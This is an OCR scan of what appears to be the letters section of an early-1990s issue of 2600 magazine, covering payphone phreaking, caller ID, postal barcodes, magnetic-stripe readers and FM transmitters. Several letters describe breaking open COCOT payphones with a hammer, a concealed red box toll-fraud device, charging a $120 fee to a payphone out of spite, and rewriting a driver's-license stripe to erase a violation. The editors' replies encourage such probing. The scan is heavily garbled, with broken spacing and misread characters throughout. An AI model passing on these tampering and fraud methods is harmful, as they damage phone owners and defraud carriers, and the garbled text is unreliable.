say that a strange tone emanates from 
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t h e  p h o ne,  s o  
d i sc o n nected i t .  

t h ey q u i c k l y  
I w o u l d  n o t  

recommend, for this reason, attaching 
the phone to your line, but I am not 
your mother either. 

I have let this  article evolve, and 
some questions have been brought up 
on COCOTS. COCOTS are very easy 
to take apart, even easier than the WE 
phones. They are less armored, and 
what armor they do have on them is  
very easy to take off. What you want 
to do, if  you get a COCOT, is follow 
m y  d i rectio n s  t h a t  are a b o v e .  But 
when you get up to the point of  using 
a hex key to unscrew the lock, ignore 

that point and just take a screwdriver 
and a hammer, and bang on the back 
of the lock. When you look at the lock, 
it should be cylindrical, and nothing 
should be able  to s t o p  y o u  from 
banging it out. Very cheap! Then, just 
follow the rest of the directions, move 
the sliding bolt inside the phone, and 
then take the top half off. Simple as 
pie. 

In many COCOTS are two things, a 
master CPU board, that is run off of a 
Z80, and a 3 0 0  baud m o d e m ,  also 
controlled by its own Z80. It is quite 
interesting, EPROM's and the such. 

There are many ways to send us 
letters . Our fax machine can be 

reached at 5 1 6- 7 5 1 - 2608 . Our Internet 

addres s  is 2600@Well. sf. ca. us .  And for 

those of you who prefer the U. S .  mail,  

our addres s  is : 

2 6 00 Letters 
PO Box 9 9  

Middle Island, NY 1 1 9 5 3  

Letters may be edited for brevity or 

perhaps not printed at all I Anything is 

possible . 
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the letters 
Caller ID Info 
Dear 2600: 

In the W i n te r  9 1 - 9 2  i s s u e ,  there a re two  
items I would l i ke  t o  comment on .  Esper' s  piece 
on "Mobile Frequencies" is a bit misleading. It  
starts out as  i f  i t  i s  going to be about cellular 
p h o n e  phrea k i n g ,  but  when he  s t a rt s  l i s t i n g  
frequencies in  t h e  1 5 2  a n d  4 5 4  mHz ranges , i t  
becomes  o b v i o u s  ( t o  me  a n y w a y )  t h a t  h e  i s  
t a l k i n g  a b o u t  a n  o l d e r  sy s t em ca l l ed  I MTS 
( Improv ed Mobile Telephone Sys tem) ,  which 
t o d a y  has been n e a rl y  r ep l aced  b y  c el l u l a r  
phones. ( I t  w a s  "improved" over its predecessor, 
w h i c h w a s  s i m i l a r  to t o d a y ' s  m a r i n e  VHF 
telephone s e rv i c e . )  I s trongly doubt that there 
a re more than a handful  ( if  that many)  IMTS 
systems still in  operation in the USA. 

In the l e t t e r s  s e c t i o n ,  u n d e r  " H a c k in g 
S chool",  Moe is a b i t  confused over  ANI and 
CID as applied to 800 numbers. Firstly, anyone 
who wants one (and can pay the bill) can get an 
800 number: ' You don ' t  have to be a business. 
There 'ue two ways to get 800 service .  If you 
ju s t  " ave  one or II fe w l i ne s .  the p hone 
company's database translates the 800 number to 
a POTS (Pl.in Old Telephone Serv ice) number 
and places 'the call in the normal manner from 
the originator's LEC (Local Exchange Carrier) to 
the lEe (Inter Exchange Carrier) that you are 
buying the 800 service from and back to your 
local LEC to your phone(s). The first three digits 
of the 800 number determine (by table lookup) 
which  IEC "owns" that 800 number and will 
carry ' the call .  If you dial a carrier selection code 
( l Oxu) before the 800 number it will either be 
ignored or  w ill cause the call to be rejected 
depending on ' the  programming in the LEC ' s  
s witch . T h e  L E C ,  a s  p a rt o f  t h e  c a l l  se tup 
information, passes the  called number and the 
billing number (which may or may not be the 
same as the originating number) to the IEC. The 
billillg number is also known as ANI (Automatic 
NUmber Identificat ion) .  The ANI information 
stops at the IEC' s  switch, and is used to bill the 
call, This i, true for non- 800 numbers also. In 
the case

' 
of calling an 800 num ber, this  "billing" 

number will not be used to bill the caller, but 
will appear on the bill for 800 service that you 
get each month. The other way to get 800 service 
is  for large businesses only, as it requires a trunk 
lille (such as a T l )  from the IEC to you. With 
th i s  d i rect trunk ,  the bill ing number can be 
delivered in real time. 

CID (Ca l l e r  1 0 ) ,  also kno wn a s  CND 
(Calling Number Delivery) uses a completely 

different mechanism which only operates w ithin 
a relat ively local area. I t  i s  del ivered as 1 20 0  
baud A S CII data between the f i rs t  and second 
r ings .  You must pay the  te lco  fo r th i s  service  
and , i n  m o s t  a reas ,  i t  can  be blocked  by the 
caller .  I t ' s  not ava ilable in  al l  areas .  

R i c h  

POSTNET Q u estions 
Dear 2600: 

Just a few days ago a friend of mine showed 
me your publ icat ion .  In tha t  same instant ,  an 
interest in your magazine was born. I read  that 
borro w e d  magaz ine  from cover to  cover and 
enjoyed  every page.  I copied d o w n  your FM 
t r a n s m i t t e r  schemat i c  a n d  I a m  now i n  t h e  
p r o c e s s  of gather ing components .  I u s e d  that  
POSTNET program on my computer and I even 
have  some improv ements for i t .  To make  the 
code look more l ike those that  are on every other 
envelope in your  mailbo x,  change line 20 to 
K2-7 and l ine 30 to K I -4. This  will make the 
lines thinner, but the overall length of the code 
will be the same size. I d idn't run the C version 
but I think that the widths are alright. What is 
the advantage of having a Postnet code on your 
outgoing letters? 

B B  
Woodbridge, V A. 

The adva n ta g e  to using PO STNET is that 
your mail will theoretically be processed more 
quickly and with g reater success. POSTNET 
l e t t e rs a r e  p r o cessed a l m o s t  e n ti r e ly by 
machines, which are faster and less like ly to 
make mistakes. You will need to use a FIM so 
that USPS (United States Postal Service) knows 
your letter is barcoded. For more information on 
POSTNET, FIM, and postal hacks in g eneral,  
see USPS Hacking (Autumn 1991 , pages 32 -37). ' 

Dear 2600: 
A friend recently passed along a copY , of 

your Autumn 1 99 1  issue. I particularly liked the ' 
discussion about the postal system, but there are 
a couple of recent dev elopments that I th ink · 
merit some follow-up investigation . 

Ove r  t h e  l a s t  year ,  the  U S PS h a s  ,be e n  
installing n e w  sorting machines tha t  c a n  read 
barcodes placed in the address block, rather than 
only in the lower right corner. (The USPS refers 
to this as "wide-area" barcoding.)  Some of the 
questions raised by this new system are :  

I f  the barcode is placed i n  the address block, 
does the letter get sorted by the B C S  or the 
MLOCR? 

Does i t  m a k e  any d iffe r e n c e  in s o rt i n g  
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whether the barcode is placed above or below the 
address or  in the traditional lower-right-comer 
location? 

If a letter is barcoded with only a 5-digit ZIP 
Code, does i t  get fed to the MLOCR to attempt 
to find the ZIP+4? If so, is  there an advantage in 
using the address block barcoding so that the 
MLOCR ' s  9-digit  barcode doesn ' t  overlap the 
earlier 5-digit? 

Furthe r ,  q u i t e  recent ly  the USPS h a s  
announced that i t  is  u s i n g  ZIP+6 coding. For 
street addresses ,  apparently the additional two 
d i g i t s  ue the l a s t  two d i gHs  of �he house  
number .  (Fo r  example ,  1 2 34 Main  S t ree t ,  
Fooville, USA 1 2 345-6789 will now be  ZIP+6 
encoded as 1 2345 -6789-34,  with the check digit 
adjusted accordingly.) The additional two digits 
will show only in the barcode, not in the printed 
address .  

What about P.O. boxes? Will they be ZIP+6 
encoded?  Most  boxes  a l re ady  have  a uni que 
ZIP+4. 

What about apartment bu ildings that have a 
unique ZIP+4? Will they have the last two digits 
of the street number appended, or the apartment 
number, o r .neither? 

If you are as  intrigued by these questions as I 
am, I look forward to your follow-up article. 

LM 
Berkeley, CA 

The F a c e  Iden tifi c a t io n Marker (FIM) 
determines whether or not a letter is processed 
by a BCS. IF F1M A or FIM C is present, then 
the letter will go to a BCS regardless of where 
POSTNET is located. In fac t ,  as long as '.�e  
appropriate FIM is p resent, the  letter will go to 
a BCS even if POSTNET is not used at all. 

Our understanding of MLOCR is that it uses 
var ious  e l e m e n ts of the  address blo c k  to 
determine what barcode should be sprayed. The 
MLOCR w i l l  a lways try to sp ray the m o s t  
accurate address information. For instance , if a 
l e t t e r  h a s  a r e g u l a r  ZIP , b u t  the  ML O CR 
determ ines the location ' s  ZIP + 4 ,  then it will 
spray the more accurate barcode instead. 

As far as we know, there is no advantage to 
using "wide-area" barcoding .  It is an example 
of USPS actual ly resp on'ding to the needs of 
businesses, many of which use window envelopes 
for exp e dience .  Wide - area barcodi"g simp ly ' 
makes it easier for those businesses to make the 
transition to POSTNET. 

Eventually ,  MLOCRs will be upgraded to use 
ZIP +6 .  As a small  business, 2 600 awaits this 
inc rease d c o mp lexity a n d  c o nfusi o n  with 
de l ig h tfu l a n t i c ip a t i o n .  I n  a ny case ,  y o u r  
sug8esiion of a fo llow-up artic le will b e  mailed 
to those responsible. 

Dear 2600: 
I thought  y o u  m i ght  be in teres ted  in a 

shareware program called ENVU. It addresses 
an envelope complete with POSTNET and FIM 
barcodes. The program only works with the HP 
Laserjet or  compatible printer. The registration 
fee is $25 . The p rogram is avai lable on many 
bulletin boards.  

Also ,  supposedly you can mail  fi rst class 
letters for 27 cents (a two cent discount) if they 
have a 9-digit zip code and the POSTNET code 
printed on them . 

A nonymous 
Not true. The idea of a rate reduction for 

such p ieces was a p roposal that  never qui te 
made it into practice. It would have made paying 
bills a little cheaper for most of us. 

Info 
Dear 2600: 

For  mos t  of 5 04 ,  the A N A C  i s  9 9 8 .  
Somet imes y o u  m ight  have  t o  d ia l  9 9 8 5 1 o r  
9985 1 and ten zeroes .  For Houma (sometimes) 
and Thibodaux (all the time), the ringback ID is 
978xxxx where xxxx · is the last four digits of the 
number you ' re calling from. 

M T  
Baton Rouae, L A  

D e a r  2600: 
Some interesting numbers in the 3 1 4  a rea 

code: 4 1 0 :  St. Louis area ANAC (Southwestern 
Bell ) ;  5 3 0 : Columbia  area ANAC (GTE ) ;  2 -
9900: University o f  Missouri - Columbia ANAC 
(on-campus phones); XXX-2300 : loop suffix for 
most St.  Louis area prefi xes . 

Taran Kina 

Dear 2600: 
Here's a couple of ideas/information on the 

red box/tone d ialer. 1 found a company called 
C rystex at 1 - 8 0 0 - 2 3 7 - 30 6 1  that sells tons of  
crystals .  1 had a hard t ime getting a price out  of 
them becaus. they have such a wide selection 
that t h ey  wan ted  t o l e rance  and l oad  fa c to r  
information. , I  haven't  the foggiest o f  what t o  tell 
them and they wouldn't  give a price range for all 
such crystals in the 6 .S 5 36 Mhz range . Also ,  if 
you want a way to leave the case intact ,  and 
make it pig p roof to a degree, use an internal 
mercury switch. That way, upside down it acts as 
a red box, right side up it 's  totally normal. 

Dr. Delam 

Dear 1600: 
A fe w interest ing things : AT&T All iance 

Teleconferencing can be reached at 0-700-456-
1 0 0 0., 800 - 2 3 2 - 1 2 3 4 ,  and 8 0 0 - 5 44 - 6 3 6 3 .  
Commands are # t o  add a number. # again t o  add 
yourself, • for co rrecti on .  ·0 for as s i stance .  
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mos tly vo ice  menued .  The A NA C  for the 20 1 
ar.a code is 9 5 8 .  I need a numbe r to tum off a 
phone in the 2 0 1  area code plus other interesting 
th ings .  There is  a tone test  at 2 0 1 ·427-9922 .  
Also,  some unknown numbe rs in  the  201  area 
code : 2 0 1 -47 1 - 99 6 6 , 2 0 1 -472 -9966 , 20 1 -4 7 8 -
9966 ,  p l u s  m o s t  other  e x changes  followed by 
9966.  I ' m  not  sure what  th i s  i s .  

H a p p i l y  Hacking I n  N e w  Jersey 

SGC 
In o u r  area ,  you can c u t  the v o ltage to a 

phone line by dia ling 480 or ,  in some places, 
450. Tone tests tend to happen on extensions of 
9979. The 9966 numbers are similar to ones in 
our area that end in 9932 . They give you nothing 
but si lence,  which can be usefu l when testing 
your line for noise.  

Searching For Answers 
Dear 261J(): 

Please excuse me if my two inqu iries seem 
sophomoric or otherwise clueless, but here it goes . . . .  

Scenari o :  Your favo rite band i s  in town, the 
concert's sold out, cash is too tight to pay scalpers' 
prices, but there's hope : your local radio station is 
giving away tickets! "Just be caller number seven . . .... 
But I can't get through! If I wait for the DJ to say go, I 
get (what a surpri se) a busy s ignal or mostly, the 
telco 's "We're sorry, all circuits are busy now." If I get 
smart and call long before that announcement, and 
then just let it ring forever, that's when the DJ decides 
to "clear all lines"! 

Is there a way to get right through that blockage 
and get connected '? 

My second inquiry : In an effort to find those 
"hidden" exchanges in my area code, I looked through 
the brand new January edition of the phone book. It 
listed all the valid prefixes, hence I should then know 
those hidden exchanges, but it doesn't tum out that 
way. I got a real estate company in one instance and 
someone's car phone in another. 

I suspect there are better sources than the telco's 
directory to fmd this info, but like I said I am a novice 
at telco info investigation. The area code(s) in question 
are the old (21 3) and the new (310) codes. And I do 
realize that new split in the 2 13  will bring about a new 
list for each area, but for the next few months of the 
"grace period", I should be OK. 

Bottom line: what 's  the best way to investigate 
and search for those hidden exchanges? And to take it 
one step further, is a war dialerhnodem the only way to 
go through the hidden exchanges? 

The H. 
Los Angeles 

In many parts of the country, radio stations use 
special phone numbers, known as "choke lines" for 
their contests and cal l - ins. In the New York 
metrop oliran area ,  this is done through the 955 
exchange. In order to preveM the phone system from 
being bogged down whenever lots of people try to 

reach a sing le number, these choke lines eliminate 
callers before they ever get out into the network. In 
most cases, only two callers are allowed to call the 
same 955 number from the same central office at the 
same time. Everybody else gets a recording saying all 
circuits are busy . G e tting past this point is no 
guarantee that you will actually get  to the 955 number. 
You still could get a recording or a busy signal. And 
even If you do manage to get it to ring,  there's  no 
guarantee that you ' d  be the right caller! So the 
process is rather difficult - unless, as is often the 
case, the 955 number translates 10 a regular phone 
line,  in which case all you have to do is call the 
regular phone number instead of the choke line 
number. There 's still no g uarantee that you' ll get 
through but your call will be processed faster and 
you' ll bypass a couple of restrictions in the process. As 
to how to get that information . . .  that's what a hacker 
does. 

Regarding the search for hidden exchanges: if the 
phone book you are referencing encompasses the 
entire area code, then you are going about it the right 
way. The exchanges you discovered are not hidden, 
but new. There 's no way to avoid this and with an 
area code split, you' ll be faced with quite a few new 
exchanges. But somewhere in there will be strange 
exchanges and test numbers. Don' t take any shortcuts. 
Do a thorough investigation and you will certainly be 
rewarded. 

COCOT Updates 
Dear 261J(): 

Some othe r messages found in a COCOT 
company database (sequel to COCOT Comer, Winter 
1 99 1 -92, page 33): 

CHECK FOR 809 CAlliNG 
WON'T TAKE ANY MONEY 
DISPLA Y SAYS "INTERCEPTING" /CUTS 

OFF CAll 
CAN'T HEAR ON PHONE 
PHONE IN LOBBY 
EATING MONEY ON LONG DISTANCE 
GLASS IS BROKEN - UGHT TOO 

NB 
Dear 261J(): 

Here ' s  a foolproof way to find out the phone 
number of your neighborllOod friendly COCOT, that is 
as long as this company sta ys in business. A company 
called Mystic Marketing (a psychic mumbo-jumbo 
service) allows you to charge their one-time fee of 
$ 120 (what a bargain) to either your credit card or your 
telephone. When you call 1 -80o. 736-7886 and choose 
option 2 (to set up an appointment) and then option 2 
on the next menu (to charge to your phone), it will 
read back to you the phone number that you are calling 
from. You then can hang up without being charged or, 
if you're feeling particularly nasty, charge the call to 
the COCOT as I so kindly did this aftemoon . . . .  

Juan Valdez 
Washington, DC 
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That number caused quite a stir during irs brief 
existence. (It no longer works.) From most telephones, 
including COCOTs, it was possible to dial an 800 
number, hit a few keys, and charge $120 to the phane 
you were calling from. If such operations cO{ltinue, we 
can look forward to phones that block access to 800 
numbers. Hopefully, some kind of law will be enacted 
to ensure that 800 numbers remain toll-free for the 
dUration of the call. 

Dear 2600: 
M aj o r  h a t s - o ff t o  The Plague fo r t h a t  m o st 

excellent a rt icle on COCOT 's (Summer 1 990) ;  few 
articles that I ' v e  seen come close to what ' s  been 
discussed on this subject. 

As w ith a n y  good a rticle,  m o re quest ions a re 
raised than answered. I sincerely hope that with your 
help (or with The Plague 's advice), you can help me 
answer them: 

I )  Do you recommend playing silver box tones 
immediately after making contact with the COCOT v ia 
computer modem ( i .e . ,  run the ph�ne line in COM2 
while your COCOT is in COM I )? If so, would these 
tones all o w  me to v i e w  the actual a d m i n i st rat i v e 
functions on the screen ? 

2) H o w  do you a ctually forwa rd calls from a 
COCOT? Though iniriguing, the .article isn 't  specific. 
Is it possible to forward in series - from one COCOT 
to another C OCOT to the targeted. phone number? 
Could call forwarding be arranged via computer? (I 
k i Qda figure i t ' d  be an, opt ion,  depending on the 
administrative functions . )  

3)  W h i c h  lines running to/from the COCOT are 
the active lines that would be worthwhile listening to? 

You ' re r ight ;  it's tough t� get ahold of one of 
those manuals; colleagues of mine who work in telco 
tell me that the y ' re indeed closely guarded secrets 
(can ' t  really blame the bastards - i f  they keep on 
popping COCOT 's everywhere, imagine thei r  concern 
o v e r  potent i a l  o p t i o n s  ,of abuse ) .  N o  rest fo r the 
w icked, though . . . .  

I 've  d o n e  some research myself. B e l o w  a re the 
sample results of three separate COCOT ' s  contacted 
via 300 baud/E7 1 : 

T :@ * 2 1 5545939 1 *47635 *CA4 107 *947S *206*92 
022271 52305 *00000 

m4LO I 3 * 8 1 27 *043*9202227 1 434 I S  

y&'Y g47*245 *9202227 1 45557 *0000 

The. numbers change as the Pays go on: I assume 
they ' re meant t o  let the oV,erseer know at a gla nce 
w h a t ' s  go i n g  on. N o t e  the <! i ffereQ.! n um b e r i n g  
structure. Note also the similarities I wonder i f  these 
num be rs :  

920222 7 1 52 305 

9202227 1 434 1 8  

9202227 1 45 5 5 7  

a r e I1 ' t  s o m e  s o rt o f  l o n g  d i s t a n c e  a c c e s s .  
codes/accessing service"  (Doubt i t :  still wonder what i t  
means . )  

n:U:�odzilla 

We know of no known case where silver box tones 
actually do something to a COCOT. We suggest you 
e x p e ri m e n t  and let us k n o w  the results .  C a l l  
forwarding h a s  to be turned on at  the switch. I t  can 
then be programmed from, the phone line. If i t 's  not 
already on, you ' d  have 10 figure out a way to access 
the switch. Concerning listening in on COCOT lines , 

' som� do everything .on one line, others have a couple 
of lines running to them. It's up to you to determine 
which one is. carrying the data that 's interesting to you. 

Over the past year or so we've printed the output 
of various COCOTs similar to the ones you called. The 
s e c o n d  a n d  th 4'd o n e s  you subm i t t e d  l o o k  l i k e  
inc\ll11plete variations .of the first. W e  sugges! y )u call 
them again and try to get a more complete output. As 
for the first example, the first ten digit number is the 
phone number, the second five digit number seems to 
have something to do with money (it's tqo high to be 
the amount .actually in the phone), CA4 107 must be 
some k ind of model type, as it  appears frequently on 
different phones. 9478 and 206 an:. still inconclusive -
some people believe one or. the other is counting the 
number of outgoing calls. As for the 1 3-digit numbers, 
they a re not any k illd of access code. The fi rst s i x  
digits indicate the Pale (February 2 2 ,  1 992) .  The next 
digit is the day of the week: I i s  SunPaY,  2 is MonPaY,  
7 is Saturday ,  etc. The next six digits indicate the time 
on a 24 hour clocle 

A Mag Strip Future 
Dear 2600: 

Ever since the Calif�mia DMV decided it would 
be a good idea to slap a magnetic strip on the back of 
thei( driver 's  licenses, I ' ve been itching to get into 
mag st rip hacking. Of course, mag strips have been 
around for some time on the backs of our credit  cards , 
ATM cards, and student ID cards, among others. But 
now there i s  an addi t ional  m o t i v a t i o n .  A driv e r ' s  
license is a whole new ball game. 

From what I ' v e  heard fro m other mag s t r i p  
hackers, the data encoded o n  the California d river 's  
license is  bas ically the same as  the' info p rinted on the 
card. Not too exciting. But the media is saying that in 
the fut u re the DMY wants to encode your d ri v i n g  
record on t h e  card .  N !> w  t h a t  would b e  somet h i n g  
worth modifying. 

Imagine getting pulled ov er on S unset Boulevard. 
The cop asks for your l icense. (",oks you over, and 
goes back to the car:  While you sit there confidently .  
the cop zaps your card through his portable mag strip 
computer .  No v i olat i ons  show on your record . Of 
course the cop gives you a spee d i n g  t icket ,  s o  he 
encodes it  s t ra i ght onto your c a rd and gives you a 
paper copy as well. But once the cop pulls away, you 
whip out you r laptgp computer and ho mebrew mag 
strip reader/writer from the back seat. A few strokes on 
the keyboard and your driviol!- record is clean aga in -

at least on your magnet ic strip . 

B ut even while there is  no d ri v i n g  reL'oni 00 the 

card as of yet. i t  would s t i l l  be u�efu l to mod ify the 
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info on the mag strip. Say sometime in the future you 
attend a large political protest, IUld you are arrested 
along with hundreds of others. In order to process this 
volume of people, the cops are using mag strip reader 
ticket printers. They zap your card, enter the violation, 
time, date, etc. and it prints out a citation for you. Of 
course the cops aren 't paying enough attention to 
notice that the infonnation on your magnetic strip is 
different from the infonnation printed on your license. 

That was mostly fiction. Now here's some fact. In 
order to get in on the ground floor of the mag strip 
scene, I purchased a used mag strip reader from Marlin 
P. 10nes IUld Associates, PO Box 1 2685, Lake Park, 
FL 33403-0685, phone 407-848-8236. The model was 
the Taltek 727. Cost only eight bucks. I figured out 
how to power the device, and by gosh it worked! 

The unit is powered by a 1 2V AC supply. It has a 
RAM, ROM, a telecom microprocessor and a 1 6  
character alpha-numeric display. Two phone jacks are 
on the back as well as some sort of serial I/O jack. It 
has two keypads. One has standard DTMF style keys 
and the other has keys for specific functions. The unit 
has several functions and was apparently used by a gas 
station of some sort. The most useful function by far is 
its ability to read the numeric track of a magnetic strip 
and display this info on its screen. 

To do this, tum the unit on and get the "swipe 
card" prompt by hitting the "check" key, for instance. 
Then hit the , key. Now swipe the card and listen for 
the unit to go ''bleedunk''. Now hit the ''CE'' key. You 
will see the contents of the numeric traCk of the mag 
strip on the screen. Use ''CE'' to scroll through .u the 
digits. Walal Eight dollar mag strip reader. I have read 
credit cards, A TM cards, a university ID, and airline 
frequent-flyer cards. 

This unit has another interesting feature - a built-in 
300 baud modem. To use this, connect the unit to a 
phone line. Hit the "function" key, then hit 9. Now 
enter the number you want to dial and follow the 
instructions. The unit will dial the number and attempt 
to connect at 300 baud. You may want to monitor on 
an extension. 

In addition, if you hit the "reset" key while the 
initialization mesaage is still preaent on power-up, the 
unit prompts for a password. Haven 't been able to 
hack that yet. Plus, if you can fmd no other use for this 
unit, it has a "calculator mode". Hit the • key twice to 
use that. Overall, a pretty nifty little gadget I guess 
now it's only a matter of time before the hackers of the 
world encode viruses on their magnetic strips and hold 
the Califomia DMV hostage. 

Mr. Upsetter 

Technological Marvels 
Dear 2f()(): 

Several years ago, while stationed in Gennany, I 
ran across a telephone on the street which could only 
be used to dial the dispatcher at the taxi company; by 
pushing the one button on the phone, it would dial the 
number for the taxi company. On a hunch, I decided to 

try making a free cIIll to the United States by pressing 
the switchhook fast enough to dial the number (five 
times to dial ''5 '', ten times for "0", etc.) and sure 
enough, I was able to cIIll the U.S. for free. As far as I 
know, Gennan Bundespost (the phone company) does 
not use the touch tone system, so one would have to be 
able to rapidly press the switchhook in order to dial the 
number. 

So far, I haven't seen lUly of these phones in the 
United States - at least not any which are connected to 
the public phone system. Presumably, if any existed in 
the United States, one could make free calls anywhere 
in the world using a Rad Shack tone dialer. Are you 
aware of any such phones? 

Also, I have read that phone patches over CB 
radio are legal. It seems like it would not be too 
difficult to construct an inexpensive mobile telephone 
which would work within several miles of one's home 
using two CB radios, a touch tone dialer, and a CB­
phone patch which would automatically access the 
phone line at home when a certain tone (say, 2600 
Hertz) is received over the CB channel being used. 
Granted, this would not allow for much privacy (this 
could be corrected using voice scramblers, however), 
and the communications would only be half-duplex 
(saying "over" on phone patches does get annoying) 
but this would be much less expensive than using a 
cellular phone . Have any of your readers done any 
experimenting with this, or have any idea as to where 
to purchase or make such . phone patch? 

Fm.uy, I have a complaint. I have been out of the 
BBS scene for several years, but recently I decided to 
break out my oId 300 baud modem and call some of 
the local boards: I was surprised to fmd that not one of 
the local boards would let me log on using "only" 300 
baud. Now, call me a Luddite if you want, but I 
remember not too long ago when 300 baud was the 
standard, IUld my modem served me quite well then. 
Now it seems that 2400 baud is the standard, likely to 
change again to 9600 baud in the near future. Exactly 
why shouldn't I be able to log on at 300 baud if I am 
perfectly satisfied with that speed IUld have neither the 
money nor the desire to buy a new modem every two 
years? This sort of baud rate supremacy and the very 
concept of plarmed obsolescence nauseates me to no 
end. 

Henry IL Ughtcap 
Seattle, Ecotopla 

Those phones have existed here for decades, 
particularly in airports and such places. If you can 
still find one, a tone dialer will indeed work, although 
the levels are rather low and sometimes won ' t  be 
heard. You may be lucky enough to find such a phone 
in Germany where touch tones will work, but for the 
moment touch tone lines there are preny rare. 

As to why people aren't overly thrilled with slow 
modem users, consider tltat they wind up tying up lines 
for much longer than most other callers. It's unfair 
thai we all have to /ceep upgrading to stay with it. but 
that's the nature of rapidly developing technology. 
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Transmitter B its 
Dear 2600: 

Thank you for printing the radio hacker article 
"FM Wireless Transmitter" (Winter 1991 -92, page 
44). Here is some helpful extra information: 

The building instructions end ... . .  and remember 
that the antenna will ultimately determine how far the 
device  ' transmits . "  If you construct your  own 
transmitter you ' ll learn what  thi s  means :  bes ides 
raising the battery voltage (never go too high, if you 
don 't want to cook meals with your transistors), the 
antenna is the only part which can be optimized by 
you. 

Material: A piece of , wire will work fine, is cheap 
and ve ry practical fo r use "on the road" .  The 
alternative would be a telescope antenna like the ones 
used for radios and portable TV sets. This device has 
the great advantage of variable length. 

Length : For best results , the length of an FM 
antenna should be one quarter of the wavelength: 
Don't panic - it's not too difficult to calculate. Just use 
L=75001f, where L is the length in cnI and f is the 
frequency in MHz. You see, the higher the frequency, 
the shorter the antenna! The longest (93. 8 cm) is 
needed for the lower limit (80 MHz) and the shortest 
(57.7 cm) for the upper ( 1 30 MHz). This is why I 
prefer a telescoPe antenna. With a self-made seal. on 
it, a new length is adjusted within seconds. 

Posit ionin 8 :  A ve rt ical  pos i t ion  for your  
transmitter antenna i s  highly recommended because all 
FM stations send vertically polarized waves. So all 
radios will receive your s ignal perfectly if your 
antenna hangs down or points up vertically too. 

' 

Following the abOve hints you will make the best 
of your private radio station. Much fun! 

Germany 

Dear 2600: 
I t ' s  nice to see my c i rcuits again in your 

magazine ! There may be a p roblem w i th the 
transmitter circuits (Winter 1991-92, pige 44-45) if 
they ' re not la id  out extremely t ight .  They m i. y  
"motorboat". Place a 22pF plate cap. across the 1 20 
ohm resistor and the problem will stop (R4 on the mic 
unit and in the unlikely event, R7 on the telephone 
unit). 

American transistors can be used in place of the 
pro-electron types specified .  The leads will  be 
different in most cases, however . .  

BF241 : 2N3983, 2N3856, MPSH1 1 ,  and MPSH24 
are all exact replacements and the following are clo�e 
enough to worle: PN12N9 1 8  or PN/2NS I79. ' 

BC547B : PNI2N2222,A or 2N3904, 2N41 24 or 
the exact replacement: 2N5 8 1 8. 

BC557B : PNI2N2905,6,7 or 2N3906, 2N4 1 26 or 
the exact replacement: 2N6007. 

Many,  many more types can be used and a 
professional or experienced hobbyist Should be able to 

make this circuit work with parts on hand! 
BlllsI 

Amsterdam 
A correcrion is also in order: on the parts list for 

both transmitters, the 1 2 0  ohm resistors are 
inadvertently referred to as 1 2 0  kOhm .  The 
schematics, however, are correct. 

C iarijications 
Dear '2600: 

Just got your winter edition of 2600. Good stuff. 
But I think someone may be trying to screw with you 
or is ignorant of what he speaks. 

Regarding the Human Database Centers printed on 
page '46, at least two if not four of the brokers li,sted 
were busted in 1991 and have been "wolking off" their 
busts for the Thought Police by setting up and ratting 
out others in the info and hacker business. The Super 
Bureau was busted in December 199 1 ,  J. Dillon Ross 
and Company got popped about a year or so ago. Some 
sources in Phoenix, Arizona also got busted last 
December. All of them got busted for accessing NCIC 
and Social Security data as a result of federal grand 
juries in Tampa, Florida and Newarle, NJ. Dillon Ross 
got popped by the locals for accessing criminal and 
fmancial data. The feds are using these and others to 
"stil'g" people using this type of data. 

So, caveat emptor! 
Bill 

Dear 2600: 
In your Autumn 1 99 1  issue you gave out the 

address of the, International Micropower Corporation 
and said you couldn 't  get a local number for them. 
Happening to live in Vegas, I immediately called 
directory assistance. They did not have any listing. I 
checked the white pages anyway and of course found 
nothing. Then checked office buildings and there it 
was, Systenls Products Company on the sa,me page 
under Office Fumiture and Equipment (702) 87 1 -8 148, 
found with little effort. 

Number 204 
Las Vegas 

Since they have the same address, this is the right 
number. Looking under Office Furniture is something 
we wouJdn't have thought of. 

Dear 2600: 
'This is in response to Count Zero's letter in the 

Winter 199 1 -92 issue regarding his desire to receive 
credit for his version of the Radio Shack Tone Dialer 
conversion. 

First of all, I had incorporated both crystals and a 
switch into my dialer well before I even became aware 
of your file, let alone received only a truncated version 
that did not include your credits. I only received the 
entire file after I had submitted my notes to 2600. 
Secondly, I had never intended that my design be 
published as an article. It was simply my desire to 
share my conversion procedure with the editors of 
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2600 and it was entirely their decision to use it as an 
article. I decided tn use your (at that point) anonymous 
file only as a point of reference tn offer an alternate 
configuration. 

Lastly, I only used one word, ''ugly'', which was 
my honest critique of ynur design. I dido't  say ''ugly 
and non-functioning" or "ugly and the guy who 
conceived it must have been high at the time" but just 
''ugly''. But if you feel insulted by that remark, then I 
apologize. It's not like we discovered the Holy Grail, 
though, as I'm sure many people had in mind what we 
chose tn document in our respective articles but never 
got around tn disseminating it tn utbers as we did. 

It doesn't bother me so much that you made such a 
big stink of the matter rot it does bother me that you 
basically wrote a file based on information that you 
regurgitated from articles that previously appeared in 
2600 and gave meager c red i t  to those whose 
information you ''borrowed'' from (and the credit you 
did give was inaccurate), and then whined about not 
receiving credit yourself. Also, nowhere in your file do 
you "explain" that it is intended as a "quick hack job", 
but the point is moot. The one who truly deserves 
credit here is, of course, Noah Clayton, who made , it 
possible for us tn bicker over petty evolutions of his 
design. So, once again I say thank you, Noah Clayton. 

IX: 
LoomIs, CA 

And we thank the both of you (in advance) for 
resisting the temptation to argue over this for the next 
ten years. 

Why They' re Watching 
Dear 261JO: 

In response to the "Why Won' t  They Listen" 
article, I have this tn offer. I think we all know why the 
establishment will not listen. We have them sca�d 
senseless. Not scared in a physical sense, rot a deeper 
sense. In a way we should congratulate ourselves. ,We 
demand change and people see us as a force with 
which they should reckon. 

Unfortunately, the problem is that the 
eatablishment fears we are terrorists out tn destroy all 
their possess ions. They all sit around watching 
Geraldo and think we 're launching missiles at the 
nearest hospital or shopping mall. In reality the 
average 16-year-old hacker's main interest is figuring 
out a way tn change his grades and flllding 800 bick 
doors tn 900 numbers. They think we work for some 
leader of a third world country or that we're ,child 
pomographers. Again, we all know what the reality is. 
We are interested in technology and would like io 
remove the greedy people from power who hoard it all. 

The fear of the establishment is this (obviously); 
they are afraid of losing their control. Maybe they are 
afraid of another revolution. Who better tn crush the 
system than people that understand the ways that the 
system imposes itself upon us and pries intn every 
nook and cranny of our private lives. We all know that 
80 percent of the people don't support George Bush. 

We can all see the lies the straight corporate media 
tries tn feed us. Things are screwed up right now and 
people could get irate and change them, if they knew 
how. Who would be most adept at this? Who has the 
smarts enough tn outsmart the system? Hackers and 
phreaks! 

